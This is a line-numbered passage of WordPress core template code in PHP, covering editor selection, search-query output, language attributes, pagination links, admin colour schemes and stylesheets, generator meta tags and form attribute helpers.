2920 global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge;
2921
2922 if ( !isset($wp_rich_edit) ) {
2923 $wp_rich_edit = false;
2924
2925 if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { // default to 'true' for logged out users
2926 if ( $is_safari ) {
2927 $wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 );
2928 } elseif ( $is_gecko || $is_chrome || $is_IE || $is_edge || ( $is_opera && !wp_is_mobile() ) ) {
2929 $wp_rich_edit = true;
2930 }
2931 }
2932 }
2933
2934 /**
2935 * Filters whether the user can access the rich (Visual) editor.
2936 *
2937 * @since 2.1.0
2938 *
2939 * @param bool $wp_rich_edit Whether the user can access to the rich (Visual) editor.
2940 */
2941 return apply_filters( 'user_can_richedit', $wp_rich_edit );
2942}
2943
2944/**
2945 * Find out which editor should be displayed by default.
2946 *
2947 * Works out which of the two editors to display as the current editor for a
2948 * user. The 'html' setting is for the "Text" editor tab.
2949 *
2950 * @since 2.5.0
2951 *
2952 * @return string Either 'tinymce', or 'html', or 'test'
2953 */
2954function wp_default_editor() {
2955 $r = user_can_richedit() ? 'tinymce' : 'html'; // defaults
2956 if ( wp_get_current_user() ) { // look for cookie
2957 $ed = get_user_setting('editor', 'tinymce');
2958 $r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r;
2959 }
2960
2961 /**
2962 * Filters which editor should be displayed by default.
2963 *
2964 * @since 2.5.0
2965 *
2966 * @param array $r An array of editors. Accepts 'tinymce', 'html', 'test'.
2967 */
2968 return apply_filters( 'wp_default_editor', $r );
2969}
2970
2971/**
2972 * Renders an editor.
2973 *
2974 * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags.
2975 * _WP_Editors should not be used directly. See https://core.trac.wordpress.org/ticket/17144.
2976 *
2977 * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason
2978 * running wp_editor() inside of a meta box is not a good idea unless only Quicktags is used.
2979 * On the post edit screen several actions can be used to include additional editors
2980 * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'.
2981 * See https://core.trac.wordpress.org/ticket/19173 for more information.
2982 *
2983 * @see _WP_Editors::editor()
2984 * @since 3.3.0
2985 *
2986 * @param string $content Initial content for the editor.
2987 * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. Can only be /[a-z]+/.
2988 * @param array $settings See _WP_Editors::editor().
2989 */
2990function wp_editor( $content, $editor_id, $settings = array() ) {
2991 if ( ! class_exists( '_WP_Editors', false ) )
2992 require( ABSPATH . WPINC . '/class-wp-editor.php' );
2993
2994 _WP_Editors::editor($content, $editor_id, $settings);
2995}
2996
2997/**
2998 * Retrieves the contents of the search WordPress query variable.
2999 *
3000 * The search query string is passed through esc_attr() to ensure that it is safe
3001 * for placing in an html attribute.
3002 *
3003 * @since 2.3.0
3004 *
3005 * @param bool $escaped Whether the result is escaped. Default true.
3006 * Only use when you are later escaping it. Do not use unescaped.
3007 * @return string
3008 */
3009function get_search_query( $escaped = true ) {
3010 /**
3011 * Filters the contents of the search query variable.
3012 *
3013 * @since 2.3.0
3014 *
3015 * @param mixed $search Contents of the search query variable.
3016 */
3017 $query = apply_filters( 'get_search_query', get_query_var( 's' ) );
3018
3019 if ( $escaped )
3020 $query = esc_attr( $query );
3021 return $query;
3022}
3023
3024/**
3025 * Displays the contents of the search query variable.
3026 *
3027 * The search query string is passed through esc_attr() to ensure that it is safe
3028 * for placing in an html attribute.
3029 *
3030 * @since 2.1.0
3031 */
3032function the_search_query() {
3033 /**
3034 * Filters the contents of the search query variable for display.
3035 *
3036 * @since 2.3.0
3037 *
3038 * @param mixed $search Contents of the search query variable.
3039 */
3040 echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );
3041}
3042
3043/**
3044 * Gets the language attributes for the html tag.
3045 *
3046 * Builds up a set of html attributes containing the text direction and language
3047 * information for the page.
3048 *
3049 * @since 4.3.0
3050 *
3051 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
3052 */
3053function get_language_attributes( $doctype = 'html' ) {
3054 $attributes = array();
3055
3056 if ( function_exists( 'is_rtl' ) && is_rtl() )
3057 $attributes[] = 'dir="rtl"';
3058
3059 if ( $lang = get_bloginfo('language') ) {
3060 if ( get_option('html_type') == 'text/html' || $doctype == 'html' )
3061 $attributes[] = "lang=\"$lang\"";
3062
3063 if ( get_option('html_type') != 'text/html' || $doctype == 'xhtml' )
3064 $attributes[] = "xml:lang=\"$lang\"";
3065 }
3066
3067 $output = implode(' ', $attributes);
3068
3069 /**
3070 * Filters the language attributes for display in the html tag.
3071 *
3072 * @since 2.5.0
3073 * @since 4.3.0 Added the `$doctype` parameter.
3074 *
3075 * @param string $output A space-separated list of language attributes.
3076 * @param string $doctype The type of html document (xhtml|html).
3077 */
3078 return apply_filters( 'language_attributes', $output, $doctype );
3079}
3080
3081/**
3082 * Displays the language attributes for the html tag.
3083 *
3084 * Builds up a set of html attributes containing the text direction and language
3085 * information for the page.
3086 *
3087 * @since 2.1.0
3088 * @since 4.3.0 Converted into a wrapper for get_language_attributes().
3089 *
3090 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
3091 */
3092function language_attributes( $doctype = 'html' ) {
3093 echo get_language_attributes( $doctype );
3094}
3095
3096/**
3097 * Retrieve paginated link for archive post pages.
3098 *
3099 * Technically, the function can be used to create paginated link list for any
3100 * area. The 'base' argument is used to reference the url, which will be used to
3101 * create the paginated links. The 'format' argument is then used for replacing
3102 * the page number. It is however, most likely and by default, to be used on the
3103 * archive post pages.
3104 *
3105 * The 'type' argument controls format of the returned value. The default is
3106 * 'plain', which is just a string with the links separated by a newline
3107 * character. The other possible values are either 'array' or 'list'. The
3108 * 'array' value will return an array of the paginated link list to offer full
3109 * control of display. The 'list' value will place all of the paginated links in
3110 * an unordered HTML list.
3111 *
3112 * The 'total' argument is the total amount of pages and is an integer. The
3113 * 'current' argument is the current page number and is also an integer.
3114 *
3115 * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
3116 * and the '%_%' is required. The '%_%' will be replaced by the contents of in
3117 * the 'format' argument. An example for the 'format' argument is "?page=%#%"
3118 * and the '%#%' is also required. The '%#%' will be replaced with the page
3119 * number.
3120 *
3121 * You can include the previous and next links in the list by setting the
3122 * 'prev_next' argument to true, which it is by default. You can set the
3123 * previous text, by using the 'prev_text' argument. You can set the next text
3124 * by setting the 'next_text' argument.
3125 *
3126 * If the 'show_all' argument is set to true, then it will show all of the pages
3127 * instead of a short list of the pages near the current page. By default, the
3128 * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
3129 * arguments. The 'end_size' argument is how many numbers on either the start
3130 * and the end list edges, by default is 1. The 'mid_size' argument is how many
3131 * numbers to either side of current page, but not including current page.
3132 *
3133 * It is possible to add query vars to the link by using the 'add_args' argument
3134 * and see add_query_arg() for more information.
3135 *
3136 * The 'before_page_number' and 'after_page_number' arguments allow users to
3137 * augment the links themselves. Typically this might be to add context to the
3138 * numbered links so that screen reader users understand what the links are for.
3139 * The text strings are added before and after the page number - within the
3140 * anchor tag.
3141 *
3142 * @since 2.1.0
3143 *
3144 * @global WP_Query $wp_query
3145 * @global WP_Rewrite $wp_rewrite
3146 *
3147 * @param string|array $args {
3148 * Optional. Array or string of arguments for generating paginated links for archives.
3149 *
3150 * @type string $base Base of the paginated url. Default empty.
3151 * @type string $format Format for the pagination structure. Default empty.
3152 * @type int $total The total amount of pages. Default is the value WP_Query's
3153 * `max_num_pages` or 1.
3154 * @type int $current The current page number. Default is 'paged' query var or 1.
3155 * @type bool $show_all Whether to show all pages. Default false.
3156 * @type int $end_size How many numbers on either the start and the end list edges.
3157 * Default 1.
3158 * @type int $mid_size How many numbers to either side of the current pages. Default 2.
3159 * @type bool $prev_next Whether to include the previous and next links in the list. Default true.
3160 * @type bool $prev_text The previous page text. Default '« Previous'.
3161 * @type bool $next_text The next page text. Default '« Previous'.
3162 * @type string $type Controls format of the returned value. Possible values are 'plain',
3163 * 'array' and 'list'. Default is 'plain'.
3164 * @type array $add_args An array of query args to add. Default false.
3165 * @type string $add_fragment A string to append to each link. Default empty.
3166 * @type string $before_page_number A string to appear before the page number. Default empty.
3167 * @type string $after_page_number A string to append after the page number. Default empty.
3168 * }
3169 * @return array|string|void String of page links or array of page links.
3170 */
3171function paginate_links( $args = '' ) {
3172 global $wp_query, $wp_rewrite;
3173
3174 // Setting up default values based on the current URL.
3175 $pagenum_link = html_entity_decode( get_pagenum_link() );
3176 $url_parts = explode( '?', $pagenum_link );
3177
3178 // Get max pages and current page out of the current query, if available.
3179 $total = isset( $wp_query->max_num_pages ) ? $wp_query->max_num_pages : 1;
3180 $current = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
3181
3182 // Append the format placeholder to the base URL.
3183 $pagenum_link = trailingslashit( $url_parts[0] ) . '%_%';
3184
3185 // URL base depends on permalink settings.
3186 $format = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
3187 $format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';
3188
3189 $defaults = array(
3190 'base' => $pagenum_link, // http://example.com/all_posts.php%_% : %_% is replaced by format (below)
3191 'format' => $format, // ?page=%#% : %#% is replaced by the page number
3192 'total' => $total,
3193 'current' => $current,
3194 'show_all' => false,
3195 'prev_next' => true,
3196 'prev_text' => __('« Previous'),
3197 'next_text' => __('Next »'),
3198 'end_size' => 1,
3199 'mid_size' => 2,
3200 'type' => 'plain',
3201 'add_args' => array(), // array of query args to add
3202 'add_fragment' => '',
3203 'before_page_number' => '',
3204 'after_page_number' => ''
3205 );
3206
3207 $args = wp_parse_args( $args, $defaults );
3208
3209 if ( ! is_array( $args['add_args'] ) ) {
3210 $args['add_args'] = array();
3211 }
3212
3213 // Merge additional query vars found in the original URL into 'add_args' array.
3214 if ( isset( $url_parts[1] ) ) {
3215 // Find the format argument.
3216 $format = explode( '?', str_replace( '%_%', $args['format'], $args['base'] ) );
3217 $format_query = isset( $format[1] ) ? $format[1] : '';
3218 wp_parse_str( $format_query, $format_args );
3219
3220 // Find the query args of the requested URL.
3221 wp_parse_str( $url_parts[1], $url_query_args );
3222
3223 // Remove the format argument from the array of query arguments, to avoid overwriting custom format.
3224 foreach ( $format_args as $format_arg => $format_arg_value ) {
3225 unset( $url_query_args[ $format_arg ] );
3226 }
3227
3228 $args['add_args'] = array_merge( $args['add_args'], urlencode_deep( $url_query_args ) );
3229 }
3230
3231 // Who knows what else people pass in $args
3232 $total = (int) $args['total'];
3233 if ( $total < 2 ) {
3234 return;
3235 }
3236 $current = (int) $args['current'];
3237 $end_size = (int) $args['end_size']; // Out of bounds? Make it the default.
3238 if ( $end_size < 1 ) {
3239 $end_size = 1;
3240 }
3241 $mid_size = (int) $args['mid_size'];
3242 if ( $mid_size < 0 ) {
3243 $mid_size = 2;
3244 }
3245 $add_args = $args['add_args'];
3246 $r = '';
3247 $page_links = array();
3248 $dots = false;
3249
3250 if ( $args['prev_next'] && $current && 1 < $current ) :
3251 $link = str_replace( '%_%', 2 == $current ? '' : $args['format'], $args['base'] );
3252 $link = str_replace( '%#%', $current - 1, $link );
3253 if ( $add_args )
3254 $link = add_query_arg( $add_args, $link );
3255 $link .= $args['add_fragment'];
3256
3257 /**
3258 * Filters the paginated links for the given archive pages.
3259 *
3260 * @since 3.0.0
3261 *
3262 * @param string $link The paginated link URL.
3263 */
3264 $page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['prev_text'] . '</a>';
3265 endif;
3266 for ( $n = 1; $n <= $total; $n++ ) :
3267 if ( $n == $current ) :
3268 $page_links[] = "<span class='page-numbers current'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</span>";
3269 $dots = true;
3270 else :
3271 if ( $args['show_all'] || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
3272 $link = str_replace( '%_%', 1 == $n ? '' : $args['format'], $args['base'] );
3273 $link = str_replace( '%#%', $n, $link );
3274 if ( $add_args )
3275 $link = add_query_arg( $add_args, $link );
3276 $link .= $args['add_fragment'];
3277
3278 /** This filter is documented in wp-includes/general-template.php */
3279 $page_links[] = "<a class='page-numbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</a>";
3280 $dots = true;
3281 elseif ( $dots && ! $args['show_all'] ) :
3282 $page_links[] = '<span class="page-numbers dots">' . __( '…' ) . '</span>';
3283 $dots = false;
3284 endif;
3285 endif;
3286 endfor;
3287 if ( $args['prev_next'] && $current && ( $current < $total || -1 == $total ) ) :
3288 $link = str_replace( '%_%', $args['format'], $args['base'] );
3289 $link = str_replace( '%#%', $current + 1, $link );
3290 if ( $add_args )
3291 $link = add_query_arg( $add_args, $link );
3292 $link .= $args['add_fragment'];
3293
3294 /** This filter is documented in wp-includes/general-template.php */
3295 $page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['next_text'] . '</a>';
3296 endif;
3297 switch ( $args['type'] ) {
3298 case 'array' :
3299 return $page_links;
3300
3301 case 'list' :
3302 $r .= "<ul class='page-numbers'>\n\t<li>";
3303 $r .= join("</li>\n\t<li>", $page_links);
3304 $r .= "</li>\n</ul>\n";
3305 break;
3306
3307 default :
3308 $r = join("\n", $page_links);
3309 break;
3310 }
3311 return $r;
3312}
3313
3314/**
3315 * Registers an admin colour scheme css file.
3316 *
3317 * Allows a plugin to register a new admin colour scheme. For example:
3318 *
3319 * wp_admin_css_color( 'classic', __( 'Classic' ), admin_url( "css/colors-classic.css" ), array(
3320 * '#07273E', '#14568A', '#D54E21', '#2683AE'
3321 * ) );
3322 *
3323 * @since 2.5.0
3324 *
3325 * @global array $_wp_admin_css_colors
3326 *
3327 * @param string $key The unique key for this theme.
3328 * @param string $name The name of the theme.
3329 * @param string $url The URL of the CSS file containing the color scheme.
3330 * @param array $colors Optional. An array of CSS color definition strings which are used
3331 * to give the user a feel for the theme.
3332 * @param array $icons {
3333 * Optional. CSS color definitions used to color any SVG icons.
3334 *
3335 * @type string $base SVG icon base color.
3336 * @type string $focus SVG icon color on focus.
3337 * @type string $current SVG icon color of current admin menu link.
3338 * }
3339 */
3340function wp_admin_css_color( $key, $name, $url, $colors = array(), $icons = array() ) {
3341 global $_wp_admin_css_colors;
3342
3343 if ( !isset($_wp_admin_css_colors) )
3344 $_wp_admin_css_colors = array();
3345
3346 $_wp_admin_css_colors[$key] = (object) array(
3347 'name' => $name,
3348 'url' => $url,
3349 'colors' => $colors,
3350 'icon_colors' => $icons,
3351 );
3352}
3353
3354/**
3355 * Registers the default Admin color schemes
3356 *
3357 * @since 3.0.0
3358 *
3359 * @global string $wp_version
3360 */
3361function register_admin_color_schemes() {
3362 $suffix = is_rtl() ? '-rtl' : '';
3363 $suffix .= SCRIPT_DEBUG ? '' : '.min';
3364
3365 wp_admin_css_color( 'fresh', _x( 'Default', 'admin color scheme' ),
3366 false,
3367 array( '#222', '#333', '#0073aa', '#00a0d2' ),
3368 array( 'base' => '#82878c', 'focus' => '#00a0d2', 'current' => '#fff' )
3369 );
3370
3371 // Other color schemes are not available when running out of src
3372 if ( false !== strpos( $GLOBALS['wp_version'], '-src' ) )
3373 return;
3374
3375 wp_admin_css_color( 'light', _x( 'Light', 'admin color scheme' ),
3376 admin_url( "css/colors/light/colors$suffix.css" ),
3377 array( '#e5e5e5', '#999', '#d64e07', '#04a4cc' ),
3378 array( 'base' => '#999', 'focus' => '#ccc', 'current' => '#ccc' )
3379 );
3380
3381 wp_admin_css_color( 'blue', _x( 'Blue', 'admin color scheme' ),
3382 admin_url( "css/colors/blue/colors$suffix.css" ),
3383 array( '#096484', '#4796b3', '#52accc', '#74B6CE' ),
3384 array( 'base' => '#e5f8ff', 'focus' => '#fff', 'current' => '#fff' )
3385 );
3386
3387 wp_admin_css_color( 'midnight', _x( 'Midnight', 'admin color scheme' ),
3388 admin_url( "css/colors/midnight/colors$suffix.css" ),
3389 array( '#25282b', '#363b3f', '#69a8bb', '#e14d43' ),
3390 array( 'base' => '#f1f2f3', 'focus' => '#fff', 'current' => '#fff' )
3391 );
3392
3393 wp_admin_css_color( 'sunrise', _x( 'Sunrise', 'admin color scheme' ),
3394 admin_url( "css/colors/sunrise/colors$suffix.css" ),
3395 array( '#b43c38', '#cf4944', '#dd823b', '#ccaf0b' ),
3396 array( 'base' => '#f3f1f1', 'focus' => '#fff', 'current' => '#fff' )
3397 );
3398
3399 wp_admin_css_color( 'ectoplasm', _x( 'Ectoplasm', 'admin color scheme' ),
3400 admin_url( "css/colors/ectoplasm/colors$suffix.css" ),
3401 array( '#413256', '#523f6d', '#a3b745', '#d46f15' ),
3402 array( 'base' => '#ece6f6', 'focus' => '#fff', 'current' => '#fff' )
3403 );
3404
3405 wp_admin_css_color( 'ocean', _x( 'Ocean', 'admin color scheme' ),
3406 admin_url( "css/colors/ocean/colors$suffix.css" ),
3407 array( '#627c83', '#738e96', '#9ebaa0', '#aa9d88' ),
3408 array( 'base' => '#f2fcff', 'focus' => '#fff', 'current' => '#fff' )
3409 );
3410
3411 wp_admin_css_color( 'coffee', _x( 'Coffee', 'admin color scheme' ),
3412 admin_url( "css/colors/coffee/colors$suffix.css" ),
3413 array( '#46403c', '#59524c', '#c7a589', '#9ea476' ),
3414 array( 'base' => '#f3f2f1', 'focus' => '#fff', 'current' => '#fff' )
3415 );
3416
3417}
3418
3419/**
3420 * Displays the URL of a WordPress admin CSS file.
3421 *
3422 * @see WP_Styles::_css_href and its {@see 'style_loader_src'} filter.
3423 *
3424 * @since 2.3.0
3425 *
3426 * @param string $file file relative to wp-admin/ without its ".css" extension.
3427 * @return string
3428 */
3429function wp_admin_css_uri( $file = 'wp-admin' ) {
3430 if ( defined('WP_INSTALLING') ) {
3431 $_file = "./$file.css";
3432 } else {
3433 $_file = admin_url("$file.css");
3434 }
3435 $_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file );
3436
3437 /**
3438 * Filters the URI of a WordPress admin CSS file.
3439 *
3440 * @since 2.3.0
3441 *
3442 * @param string $_file Relative path to the file with query arguments attached.
3443 * @param string $file Relative path to the file, minus its ".css" extension.
3444 */
3445 return apply_filters( 'wp_admin_css_uri', $_file, $file );
3446}
3447
3448/**
3449 * Enqueues or directly prints a stylesheet link to the specified CSS file.
3450 *
3451 * "Intelligently" decides to enqueue or to print the CSS file. If the
3452 * {@see 'wp_print_styles'} action has *not* yet been called, the CSS file will be
3453 * enqueued. If the {@see 'wp_print_styles'} action has been called, the CSS link will
3454 * be printed. Printing may be forced by passing true as the $force_echo
3455 * (second) parameter.
3456 *
3457 * For backward compatibility with WordPress 2.3 calling method: If the $file
3458 * (first) parameter does not correspond to a registered CSS file, we assume
3459 * $file is a file relative to wp-admin/ without its ".css" extension. A
3460 * stylesheet link to that generated URL is printed.
3461 *
3462 * @since 2.3.0
3463 *
3464 * @param string $file Optional. Style handle name or file name (without ".css" extension) relative
3465 * to wp-admin/. Defaults to 'wp-admin'.
3466 * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued.
3467 */
3468function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
3469 // For backward compatibility
3470 $handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file;
3471
3472 if ( wp_styles()->query( $handle ) ) {
3473 if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately
3474 wp_print_styles( $handle );
3475 else // Add to style queue
3476 wp_enqueue_style( $handle );
3477 return;
3478 }
3479
3480 /**
3481 * Filters the stylesheet link to the specified CSS file.
3482 *
3483 * If the site is set to display right-to-left, the RTL stylesheet link
3484 * will be used instead.
3485 *
3486 * @since 2.3.0
3487 *
3488 * @param string $file Style handle name or filename (without ".css" extension)
3489 * relative to wp-admin/. Defaults to 'wp-admin'.
3490 */
3491 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file );
3492
3493 if ( function_exists( 'is_rtl' ) && is_rtl() ) {
3494 /** This filter is documented in wp-includes/general-template.php */
3495 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" );
3496 }
3497}
3498
3499/**
3500 * Enqueues the default ThickBox js and css.
3501 *
3502 * If any of the settings need to be changed, this can be done with another js
3503 * file similar to media-upload.js. That file should
3504 * require array('thickbox') to ensure it is loaded after.
3505 *
3506 * @since 2.5.0
3507 */
3508function add_thickbox() {
3509 wp_enqueue_script( 'thickbox' );
3510 wp_enqueue_style( 'thickbox' );
3511
3512 if ( is_network_admin() )
3513 add_action( 'admin_head', '_thickbox_path_admin_subfolder' );
3514}
3515
3516/**
3517 * Displays the XHTML generator that is generated on the wp_head hook.
3518 *
3519 * See {@see 'wp_head'}.
3520 *
3521 * @since 2.5.0
3522 */
3523function wp_generator() {
3524 /**
3525 * Filters the output of the XHTML generator tag.
3526 *
3527 * @since 2.5.0
3528 *
3529 * @param string $generator_type The XHTML generator.
3530 */
3531 the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
3532}
3533
3534/**
3535 * Display the generator XML or Comment for RSS, ATOM, etc.
3536 *
3537 * Returns the correct generator type for the requested output format. Allows
3538 * for a plugin to filter generators overall the {@see 'the_generator'} filter.
3539 *
3540 * @since 2.5.0
3541 *
3542 * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
3543 */
3544function the_generator( $type ) {
3545 /**
3546 * Filters the output of the XHTML generator tag for display.
3547 *
3548 * @since 2.5.0
3549 *
3550 * @param string $generator_type The generator output.
3551 * @param string $type The type of generator to output. Accepts 'html',
3552 * 'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'.
3553 */
3554 echo apply_filters( 'the_generator', get_the_generator($type), $type ) . "\n";
3555}
3556
3557/**
3558 * Creates the generator XML or Comment for RSS, ATOM, etc.
3559 *
3560 * Returns the correct generator type for the requested output format. Allows
3561 * for a plugin to filter generators on an individual basis using the
3562 * {@see 'get_the_generator_$type'} filter.
3563 *
3564 * @since 2.5.0
3565 *
3566 * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
3567 * @return string|void The HTML content for the generator.
3568 */
3569function get_the_generator( $type = '' ) {
3570 if ( empty( $type ) ) {
3571
3572 $current_filter = current_filter();
3573 if ( empty( $current_filter ) )
3574 return;
3575
3576 switch ( $current_filter ) {
3577 case 'rss2_head' :
3578 case 'commentsrss2_head' :
3579 $type = 'rss2';
3580 break;
3581 case 'rss_head' :
3582 case 'opml_head' :
3583 $type = 'comment';
3584 break;
3585 case 'rdf_header' :
3586 $type = 'rdf';
3587 break;
3588 case 'atom_head' :
3589 case 'comments_atom_head' :
3590 case 'app_head' :
3591 $type = 'atom';
3592 break;
3593 }
3594 }
3595
3596 switch ( $type ) {
3597 case 'html':
3598 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">';
3599 break;
3600 case 'xhtml':
3601 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />';
3602 break;
3603 case 'atom':
3604 $gen = '<generator uri="https://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>';
3605 break;
3606 case 'rss2':
3607 $gen = '<generator>https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>';
3608 break;
3609 case 'rdf':
3610 $gen = '<admin:generatorAgent rdf:resource="https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />';
3611 break;
3612 case 'comment':
3613 $gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->';
3614 break;
3615 case 'export':
3616 $gen = '<!-- generator="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '" -->';
3617 break;
3618 }
3619
3620 /**
3621 * Filters the HTML for the retrieved generator type.
3622 *
3623 * The dynamic portion of the hook name, `$type`, refers to the generator type.
3624 *
3625 * @since 2.5.0
3626 *
3627 * @param string $gen The HTML markup output to wp_head().
3628 * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom',
3629 * 'rss2', 'rdf', 'comment', 'export'.
3630 */
3631 return apply_filters( "get_the_generator_{$type}", $gen, $type );
3632}
3633
3634/**
3635 * Outputs the html checked attribute.
3636 *
3637 * Compares the first two arguments and if identical marks as checked
3638 *
3639 * @since 1.0.0
3640 *
3641 * @param mixed $checked One of the values to compare
3642 * @param mixed $current (true) The other value to compare if not just true
3643 * @param bool $echo Whether to echo or just return the string
3644 * @return string html attribute or empty string
3645 */
3646function checked( $checked, $current = true, $echo = true ) {
3647 return __checked_selected_helper( $checked, $current, $echo, 'checked' );
3648}
3649
3650/**
3651 * Outputs the html selected attribute.
3652 *
3653 * Compares the first two arguments and if identical marks as selected
3654 *
3655 * @since 1.0.0
3656 *
3657 * @param mixed $selected One of the values to compare
3658 * @param mixed $current (true) The other value to compare if not just true
3659 * @param bool $echo Whether to echo or just return the string
3660 * @return string html attribute or empty string
3661 */
3662function selected( $selected, $current = true, $echo = true ) {
3663 return __checked_selected_helper( $selected, $current, $echo, 'selected' );
3664}
3665
3666/**
3667 * Outputs the html disabled attribute.
3668 *
3669 * Compares the first two arguments and if identical marks as disabled
3670 *
3671 * @since 3.0.0
3672 *
3673 * @param mixed $disabled One of the values to compare
3674 * @param mixed $current (true) The other value to compare if not just true
3675 * @param bool $echo Whether to echo or just return the string
3676 * @return string html attribute or empty string
3677 */
3678function disabled( $disabled, $current = true, $echo = true ) {
3679 return __checked_selected_helper( $disabled, $current, $echo, 'disabled' );
3680}
3681
3682/**
3683 * Private helper function for checked, selected, and disabled.
3684 *
3685 * Compares the first two arguments and if identical marks as $type
3686 *
3687 * @since 2.8.0
3688 * @access private
3689 *
3690 * @param mixed $helper One of the values to compare
3691 * @param mixed $current (true) The other value to compare if not just true
3692 * @param bool $echo Whether to echo or just return the string
3693 * @param string $type The type of checked|selected|disabled we are doing
3694 * @return string html attribute or empty string
3695 */
3696function __checked_selected_helper( $helper, $current, $echo, $type ) {
3697 if ( (string) $helper === (string) $current )
3698 $result = " $type='$type'";
3699 else
3700 $result = '';
3701
3702 if ( $echo )
3703 echo $result;
3704
3705 return $result;
3706}
3707
3708/**
3709 * Default settings for heartbeat
3710 *
3711 * Outputs the nonce used in the heartbeat XHR
3712 *
3713 * @since 3.6.0
3714 *
3715 * @param array $settings
3716 * @return array $settings
3717 */
3718function wp_heartbeat_settings( $settings ) {
3719 if ( ! is_admin() )
3720 $settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' );
3721
3722 if ( is_user_logged_in() )
3723 $settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' );
3724
3725 return $settings;
3726}